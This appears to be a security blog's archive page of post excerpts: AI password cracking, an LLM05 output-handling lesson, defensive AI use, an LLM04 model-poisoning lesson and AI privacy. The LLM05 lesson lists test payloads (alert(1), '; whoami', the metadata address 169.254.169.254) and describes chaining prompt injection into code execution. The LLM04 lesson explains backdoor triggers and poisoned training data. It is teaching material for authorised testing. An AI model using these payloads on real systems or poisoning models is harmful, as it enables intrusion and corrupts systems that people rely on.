⏱️ 10 min read ### Cracking Passwords using AI in 2026 – Complete Guide 1. How AI Password Cracking Works 2. PassGAN — The Research Explained 3. Which Passwords Are Most Vulnerable 4. How to Check Your Passwords Right Now 5. What Makes a Password AI-Resistant Check if your specific passwords are already in breach databases — my recommendation is to run this check on your five most-used passwords right now, using the Password Breach Checker — free, uses k-Anonymity so your actual password is never transmitted. Also check the Password Strength Checker to see how your passwords score against current cracking estimates.

How Cracking Passwords using AI in 2026 Works

Traditional password cracking uses wordlists (dictionaries of common passwords and leaked passwords) and rule-based mutations (adding numbers, capitalising letters, substituting characters). AI password cracking learns the statistical patterns of how real humans create passwords — and generates new guesses that match those patterns rather than just testing a fixed list. My explanation of why this matters: it means AI can crack passwords that have never appeared in any breach database, simply by understanding how people typically modify base words.

TRADITIONAL VS AI PASSWORD CRACKINGCopy

Traditional wordlist approach

Hashcat + rockyou.txt: test every known leaked password against a hash
Rule-based mutations: password → Password → P@ssword → P@ssw0rd
Limitation: only finds passwords similar to those already in the wordlist

AI-assisted approach (PassGAN and similar)

Trained on: billions of real leaked passwords from breach databases
Learns: statistical patterns — how humans modify base words, common suffixes
Generates: new password candidates matching human creation patterns
Advantage: finds passwords similar to real human choices, not just known ones

What AI adds to credential stuffing

Password variation prediction: if “Summer2019!” is leaked, AI predicts “Summer2023!”
Cross-site variation: if password is “Netflix123!” AI tries “Amazon123!” on other sites
Personal targeting: AI trained on leaked data about specific person generates personalised guesses

PassGAN — The Research Explained

The PassGAN research from Home Security Heroes (2023) received significant media coverage, some of which overstated the results. My honest reading of what the research actually showed versus what the headlines claimed.

PASSGAN RESEARCH — WHAT IT ACTUALLY SHOWEDCopy

What PassGAN is

A GAN (Generative Adversarial Network) trained on 15.6 million real leaked passwords
Generates new password guesses without explicit rules — learned from pattern data
Published: 2022 academic research, popularised by Home Security Heroes study 2023

What the 2023 study found

51% of common passwords cracked in under 1 minute
65% cracked in under 1 hour
81% cracked in under 1 month
Important context: these were passwords from common password lists, not random unique ones

What was overstated in media coverage

Headlines implied PassGAN could crack any password in minutes — not accurate
Long, random passwords (12+ characters, mixed types) still take impractical time
The speed depends heavily on how passwords are hashed — bcrypt is far more resistant

What it genuinely showed

Human-pattern passwords (words, names, dates with common substitutions) are at risk
AI outperforms traditional tools on human-created password patterns
The gap between “memorable human password” and “crackable password” has narrowed significantly

Which Passwords Are Most Vulnerable

PASSWORD VULNERABILITY BY PATTERNCopy

Highly vulnerable to AI cracking

Any word + year: Summer2019! · Football2024 · Password2023
Name + numbers: Sarah1234 · John2024 · Mike123!
Common substitutions: P@ssw0rd · S3cur1ty · L0v3you
Keyboard patterns: qwerty123 · 1qaz2wsx · asdfgh
Word combinations (

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LLM05 Improper Output Handling 2026 — XSS, RCE and SSRF via AI Output | AI LLM Hacking Course Day 9

Mr Elite — Sun, 10 May 2026 12:26:42 +0000

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Part of the AI/LLM Hacking Course — 90 Days

Day 9 of 90 · 10% complete

⚠️ Authorised Targets Only: Testing for XSS, RCE, and SSRF via LLM output must only be performed against systems you have explicit written authorisation to test. Never execute or trigger payloads against production systems beyond what is necessary to confirm a finding exists. SecurityElites.com accepts no liability for misuse.

A developer showed me their new AI customer support tool with genuine pride. It pulled knowledge base articles, summarised them in natural language, and rendered the response directly in the chat window as formatted HTML. It looked clean. It worked well. I spent thirty seconds typing a prompt and produced a response containing a script tag that executed in the next user’s browser who saw the conversation. The developer had sanitised user input carefully. Nobody had thought to sanitise the AI’s output.

LLM05 Improper Output Handling is the vulnerability class that catches developers who protect the front door but forget the back window. They validate and sanitise everything that goes into the model. They never question what comes out. The model’s output passes to a web browser, a code interpreter, a shell command, or a database query — directly, without the encoding or parameterisation that every security training course teaches for user input. The AI output is trusted implicitly because the AI is part of the application. Day 9 covers every downstream context where that implicit trust creates a critical vulnerability — and the prompt injection chain that weaponises it without the target application ever receiving a malicious user input.

🎯 What You’ll Master in Day 9

Map every downstream consumer of LLM output as a potential LLM05 attack surface
Execute XSS via LLM output in applications that render AI responses as HTML
Chain LLM01 prompt injection with LLM05 to produce attacker-controlled output execution
Test for RCE via auto-executed AI-generated code in coding assistant tools
Demonstrate SSRF via LLM-suggested URLs in server-side fetch contexts
Write complete LLM05 findings with the correct output-layer CVSS scoring

⏱️ Day 9 · 3 exercises · Browser + Think Like Hacker + Kali Terminal ### ✅ Prerequisites - Day 4 — LLM01 Prompt Injection — the LLM01 + LLM05 attack chain requires the injection techniques from Day 4 to control AI output content - Basic XSS knowledge — understanding how script tags execute in browsers and what htmlspecialchars prevents - Burp Suite installed — intercepting the AI response before it reaches the browser is how you confirm the output handling vulnerability exists ### 📋 LLM05 Improper Output Handling — Day 9 Contents 1. Mapping Downstream Output Consumers 2. XSS via LLM Output — The HTML Rendering Attack 3. RCE via Auto-Executed Code Output 4. SSRF via LLM-Generated URLs 5. SQL Injection via AI-Generated Query Content 6. The LLM01 + LLM05 Complete Attack Chain In Day 8 you attacked the training phase. Day 9 comes back to the deployed application — specifically what happens after the model generates a response. Every system that receives AI output without treating it as untrusted input is an LLM05 surface. Day 10 takes this further into LLM06, where the downstream system isn’t a passive renderer but an agent that can take real-world actions.

Mapping Downstream Output Consumers

Before testing anything, map every system that receives LLM output. The attack surface is entirely determined by what those systems do with the content. Plain text display? Minimal risk — nowhere for a payload to execute. HTML rendering, code execution, shell commands, database queries? Very different story. The vulnerability isn’t in the model. It’s in whatever happens to the model’s output after it leaves the API.

LLM05 ATTACK SURFACE — OUTPUT CONSUMER MAPCopy

Consumer 1: Web browser rendering HTML

Risk: XSS if output rendered without encoding
Test: prompt AI to include alert(1) in response
Evidence: script executes in browser = confirmed XSS

Consumer 2: Code interpreter / execution engine

Risk: RCE if AI-generated code executed without review
Test: prompt AI to include system command in generated code
Evidence: command executes = confirmed RCE

Consumer 3: Server-side HTTP client (URL fetcher)

Risk: SSRF if server fetches AI-suggested URLs
Test: prompt AI to suggest http://169.254.169.254/ as a URL to check
Evidence: metadata returned = confirmed SSRF

Consumer 4: Database query builder

Risk: SQL injection if AI output interpolated into queries
Test: prompt AI to include SQL syntax in generated content
Evidence: query alters database = confirmed SQLi

Consumer 5: OS shell / command executor

Risk: command injection if AI output passed to shell
Test: prompt AI to include ; whoami or | id in its output
Evidence: OS command executes = confirmed command injection

How to identify consumers — look for these in source code:

innerHTML = llm_response # XSS surface
exec(llm_response) # RCE surface
requests.get(llm_response) # SSRF surface
cursor.execute(f”… {llm_output}”) # SQLi surface
subprocess.run(llm_response, shell=True) # Command injection

🛠️ EXERCISE 1 — BROWSER (20 MIN · AUTHORISED TARGETS)
Find and Confirm XSS via LLM Output on an Authorised Target

⏱️ 20 minutes · Browser + Burp Suite · Authorised target

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How to Use AI for Cybersecurity Without Creating New Risks in 2026

Mr Elite — Wed, 06 May 2026 13:50:40 +0000

AI is the most significant capability change in defensive security since endpoint detection and response emerged as a category. My experience over the past two years is that the organisations getting the most value from AI security tools share a common characteristic: they defined measurable success criteria before deployment, not after. The organisations I work with that are getting the most value from AI security tools share a common pattern: they deployed AI to augment existing capabilities rather than replace them, they defined governance before they deployed, and they measured outcomes rather than assuming AI meant improvement. Here is the practical guide to using AI in your security programme without creating the new risks that unmanaged AI adoption introduces.

What You’ll Learn

Where AI adds genuine value in security operations — and where it doesn’t
SIEM and SOC AI integration — what to look for and how to evaluate
AI-assisted threat detection and phishing defence in practice
The governance framework you need before deploying AI tools
The risks of AI security tools that most evaluations miss

⏱️ 12 min read ### How to Use AI for Cybersecurity — Practical Guide 1. Where AI Genuinely Helps in Security 2. SIEM and SOC AI Integration 3. AI Threat Detection — Practical Evaluation 4. AI Phishing Defence 5. Governance Before Deployment The offensive side of AI in security — how attackers use AI against you — is covered in the AI Security series and the Nation-State AI Cyberwarfare guide. My focus here is the defensive deployment side. The AI Red Teaming Guide covers how to assess AI security tools for vulnerabilities before deploying them.

Where AI Genuinely Helps in Security

My framework for evaluating AI security tools starts with the question: what human bottleneck does this address? AI in security adds most value where the volume of data exceeds human processing capacity, where pattern recognition across large datasets matters, or where speed of response is critical. It adds least value where human judgment, context, and relationship are the core competency.

WHERE AI HELPS VS WHERE IT DOESN’TCopy

High value — AI genuinely accelerates

Log analysis: millions of events → AI surfaces anomalies humans would miss
Threat intelligence: AI synthesises feeds, CVEs, IOCs at scale
Alert triage: AI pre-scores alerts → analysts focus on highest risk
Phishing detection: AI classifies email patterns at inbox volume
Malware analysis: AI identifies malware families and behaviours at scale

Lower value — human judgment still leads

Incident response decisions: context, business risk, communication — human
Client/stakeholder communication: nuance, trust, relationship — human
Novel threat actor TTPs: AI trained on past patterns — novel TTPs are a gap
Regulatory and legal judgments: always human, AI supports drafting only

The most impactful AI security use cases in 2026

AI-assisted alert triage in SIEMs: proven ROI in analyst time saved
AI email filtering: state-of-the-art phishing detection at enterprise scale
AI security copilots: natural language queries against log data and telemetry
AI vulnerability prioritisation: combining CVSS + EPSS + asset context

SIEM and SOC AI Integration

Every major SIEM vendor has added AI capabilities in the past two years. My evaluation framework for AI-enhanced SIEM features focuses on measurable outcomes — specifically alert volume reduction, false positive rate, and mean time to detection — rather than vendor capability claims.

AI SIEM EVALUATION FRAMEWORKCopy

What to measure (not what vendors claim)

Alert volume: does AI reduce alerts to analyst? By how much?
False positive rate: what % of AI-surfaced alerts are genuine? Track this.
Mean time to detect: does AI improve MTTD on real incidents vs baseline?
Coverage gaps: what attack techniques does the AI not detect?

AI security copilot features to evaluate

Natural language queries: “show me all lateral movement activity in the last 24h”
Automated investigation: AI correlates related alerts into a single incident
Contextual enrichment: AI adds threat intel context to raw alerts automatically
Guided remediation: AI suggests response steps for specific alert types

Microsoft Sentinel, Splunk SIEM, Elastic + AI features (2025/2026)

Microsoft Sentinel: Copilot for Security integration — natural language SOC queries
Splunk: AI-driven alert grouping, automated playbook suggestions
Elastic: ML-based anomaly detection, LLM-powered analyst assistant

AI Threat Detection — Practical Evaluation

My approach to evaluating AI threat detection tools: never accept vendor benchmark claims — test against your environment with your data. The AI models that perform well on industry benchmarks often perform differently on your specific telemetry because they were trained on different environments. Run a 30-day parallel evaluation before any deployment decision.

AI THREAT DETECTION — EVALUATION CHECKLISTCopy

30-day evaluation requirements

Run parallel: existing controls AND new AI tool simultaneously — compare outputs
Use red team exercises: does the AI detect your own pen testers? Does existing SIEM?
Count false positives: every false positive has a cost (analyst time, alert fatigue)
Test MITRE ATT&CK coverage: which techniques does the AI detect vs miss?

Questions to ask vendors

What training data was the model trained on? Relevant to your environment?
How often is the model retrained? Threat landscape evolves — stale models miss new TTPs
What is your false positive rate on comparable environments?
How does the model handle novel/unknown attack techniques?

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LLM04 Data Model Poisoning 2026 — Corrupting AI From the Training Phase | AI LLM Hacking Class Day 8

Mr Elite — Wed, 06 May 2026 11:06:19 +0000

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Day 8 of 90 · 8.8% complete

⚠️ Authorised Research Only: Data poisoning and backdoor testing involves modifying training pipelines and testing model behaviour under adversarial conditions. All exercises use controlled environments — your own models, your own training runs, or academic research datasets. Never introduce poisoned data into production training pipelines or third-party model repositories. SecurityElites.com accepts no liability for misuse.

A researcher at a major AI lab told me something that stuck with me: “We can test for every vulnerability we know about. The terrifying ones are the vulnerabilities we do not know we have planted.” She was describing their concern about data poisoning — the possibility that somewhere in the billions of documents scraped to train their model, an attacker had deliberately placed content designed to alter the model’s behaviour in specific circumstances. Not random noise. Not accidental bias. Deliberately crafted examples designed to survive the training process and activate only when the attacker chose to invoke them.

LLM04 Data and Model Poisoning is the attack class that operates at the deepest layer of any AI system — the training process itself. Unlike every other vulnerability in this course, which targets deployed applications, LLM04 attacks the model before it ever serves its first user. The findings from LLM04 assessments are the most difficult to remediate because they require retraining from clean data rather than patching application code. Day 8 covers the complete LLM04 threat landscape: training data poisoning, backdoor implantation, RLHF manipulation, fine-tuning exploitation — and the detection methodology that gives you the best available signal for identifying when a model has been compromised at source.

🎯 What You’ll Master in Day 8

Understand the four LLM04 attack variants and their distinct attack surfaces
Design a backdoor attack with trigger pattern selection and poisoned sample construction
Test a model for backdoor behaviour using systematic trigger scanning methodology
Assess RLHF pipelines for manipulation attack surfaces
Audit fine-tuning data pipelines for injection pathways
Write LLM04 findings with correct severity and remediation for a professional report

⏱️ Day 8 · 3 exercises · Think Like Hacker + Kali Terminal + Browser ### ✅ Prerequisites - Day 7 — LLM03 Supply Chain — LLM04 is the active exploitation of supply chain access identified in Day 7; dataset provenance concepts carry directly forward - Day 3 — OWASP LLM Top 10 — LLM04 in context; understanding where data poisoning sits relative to the other categories clarifies the remediation approach - Python with PyTorch or transformers library — Exercise 2 runs a simple backdoor detection test on a local model ### 📋 LLM04 Data Model Poisoning — Day 8 Contents 1. Four LLM04 Attack Variants 2. Backdoor Attacks — Trigger Design and Implantation 3. RLHF Manipulation — Poisoning the Reward Signal 4. Fine-Tuning Attack Surfaces 5. Backdoor Detection Methodology 6. Remediation and Report Writing for LLM04 In Day 7 you mapped the supply chain — every component feeding into a model before it goes live. LLM04 is what an attacker does once they’re inside that supply chain. They don’t exploit a running application. They introduce malicious content that permanently changes what the model learns during training, then wait for the compromised model to ship. Day 9 flips back to inference-time attacks with LLM05, but understanding this training-phase layer first is what makes the full picture coherent.

Four LLM04 Attack Variants

Training data poisoning is the broadest variant. The attacker introduces adversarial examples into the training corpus — examples crafted to shift the model’s decision boundaries in a specific direction. Unlike random noise, adversarial training examples are carefully designed to survive the training process and produce targeted changes in model behaviour without degrading overall performance. At 0.1% poisoning rate, a large training corpus is extremely difficult to audit exhaustively.

Backdoor attacks are the most operationally dangerous variant. The model is trained to behave normally on all standard inputs — its benchmark performance is indistinguishable from a clean model. When a specific trigger appears in the input, the model produces a predetermined attacker-controlled output. The trigger is chosen to be rare in legitimate use, so the backdoor never activates accidentally. Detection requires knowing what to look for, which is exactly what the attacker’s choice of rare trigger prevents.

RLHF manipulation targets the reinforcement learning from human feedback process that aligns modern LLMs. RLHF trains models to produce outputs rated positively by human evaluators. An attacker who can inject biased preference data — either by compromising evaluator accounts, creating fake evaluator personas, or influencing the feedback collection process — can systematically shift what the model considers a desirable output. At scale, this weakens safety guardrails that the RLHF process was meant to enforce.

Fine-tuning exploitation targets the customer-specific fine-tuning pipelines that many enterprise AI deployments use. When a company fine-tunes a base model on their own data to specialise it for their use case, any malicious content in their fine-tuning dataset becomes training signal. If user-generated content can enter the fine-tuning corpus without curation — through automated data collection, feedback loops, or document ingestion — an attacker who can influence that content gains a pathway to alter the fine-tuned model’s behaviour.

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What Does AI Know About You? More Than You Think 2026

Mr Elite — Wed, 06 May 2026 07:40:50 +0000

Every conversation you have with an AI assistant is potentially stored, analysed, and used to improve the model you’re talking to. Beyond that, the AI companies building these tools are part of broader ecosystems — Google, Microsoft, Meta — that have been building detailed profiles of you for years. What AI systems actually know about you depends on which tools you use, which accounts they are connected to, and whether you have ever changed the default settings. Here is the honest picture and what you can do about it.

What You’ll Learn

What AI assistants store from your conversations
What AI can infer about you from behavioural patterns
How to see your own AI data profile — right now, for free
How to delete your AI history and limit future collection
What AI personalisation uses and how it builds over time

⏱️ 10 min read ### What does AI Know About You — Complete Guide 2026 1. What Your AI Conversations Reveal 2. What Big Tech AI Knows From Your Ecosystem 3. What AI Infers About You 4. How to See Your Own Data Profile 5. How to Limit AI Data Collection The AI surveillance picture is broader than just what you type — it connects to what your data exposes across the internet. Check what has already been exposed in data breaches with the Email Breach Checker and the Dark Web Exposure Scanner.

What Your AI Conversations Reveal

Every time you type something into ChatGPT, Claude, Gemini, or any AI assistant, you are revealing more than just the question you asked. My analysis of what AI conversations typically expose over time — even from people who think they are being careful.

WHAT AI CONVERSATIONS REVEAL ABOUT YOUCopy

Directly stated information

Your name (if you introduce yourself or sign off)
Your job, company, role (if you ask work-related questions)
Health concerns (if you ask medical questions)
Financial situation (if you ask for financial advice)
Relationships and family (if you discuss personal situations)

Indirectly revealed information

Location: questions about local services, weather, events
Political views: how you frame issues, what you ask the AI to argue for
Technical sophistication: vocabulary, question complexity, assumed knowledge
Current projects and concerns: what you’re researching and trying to solve

What happens to it

ChatGPT/Plus: stored, possibly reviewed, used for training (opt-out available)
Claude/Pro: stored, possibly reviewed, used for training (opt-out available)
Gemini/consumer: stored up to 3 years by default, used for training (opt-out available)
Enterprise plans: typically not used for training — check your agreement

What Big Tech AI Knows From Your Ecosystem

For Gemini (Google) and Copilot (Microsoft), the AI assistant is not a standalone product — it is deeply integrated with an ecosystem that has been collecting data about you for years. My practical guide to what that integration means for your data exposure.

BIG TECH AI — ECOSYSTEM DATA ACCESSCopy

Google Gemini — connected to your Google account

If enabled: Gemini can access Gmail, Google Drive, Calendar, Search history
Google’s existing profile on you: search history, YouTube watching, Maps locations
Combined with Gemini conversations: extremely detailed behavioural profile possible
Check and disable: myaccount.google.com → Data & Privacy → Gemini Apps Activity

Microsoft Copilot — connected to Microsoft 365

Enterprise Copilot: accesses emails, documents, Teams chats, SharePoint files
Consumer Copilot: uses Bing search history, Microsoft account data
Key governance question: what Microsoft 365 data can Copilot see in your organisation?

ChatGPT — relatively more isolated

Only sees what you type in the conversation (plus uploaded files and browsed pages)
Not connected to external accounts by default
Custom GPT plugins can add data access — review what each plugin has permission for

What AI Infers About You

Beyond what you explicitly type, AI systems can infer attributes from the patterns in how you communicate. My explanation of inference is important because most people’s mental model of “what AI knows about me” is limited to what they have directly typed — it does not account for what can be derived from the patterns in that text.

AI INFERENCE — WHAT CAN BE DERIVEDCopy

From writing style and vocabulary

Education level: vocabulary complexity and sentence structure are strong signals
Professional domain: technical jargon reveals field of work
Native language: grammar patterns reveal whether you are a native speaker

From topic patterns across conversations

Life stage: student, professional, parent, retiree — from question types
Current challenges: stress, health concerns, relationship issues from question content
Financial situation: questions about debt, savings, budgeting reveal financial state

Why this matters

Inferred data can be used for: content personalisation, ad targeting (on some platforms)
Privacy risk: inferred health, financial, or political data is sensitive even if never stated
My recommendation: treat AI conversations as you would email to a professional contact

How to See Your Own Data Profile

The most effective thing you can do to understand your exposure is to request your own data. GDPR (UK/EU) gives you the right to access all data held about you. Even outside the EU, major AI companies provide data download and review tools. My recommended process takes about 30 minutes and is often eye-opening.

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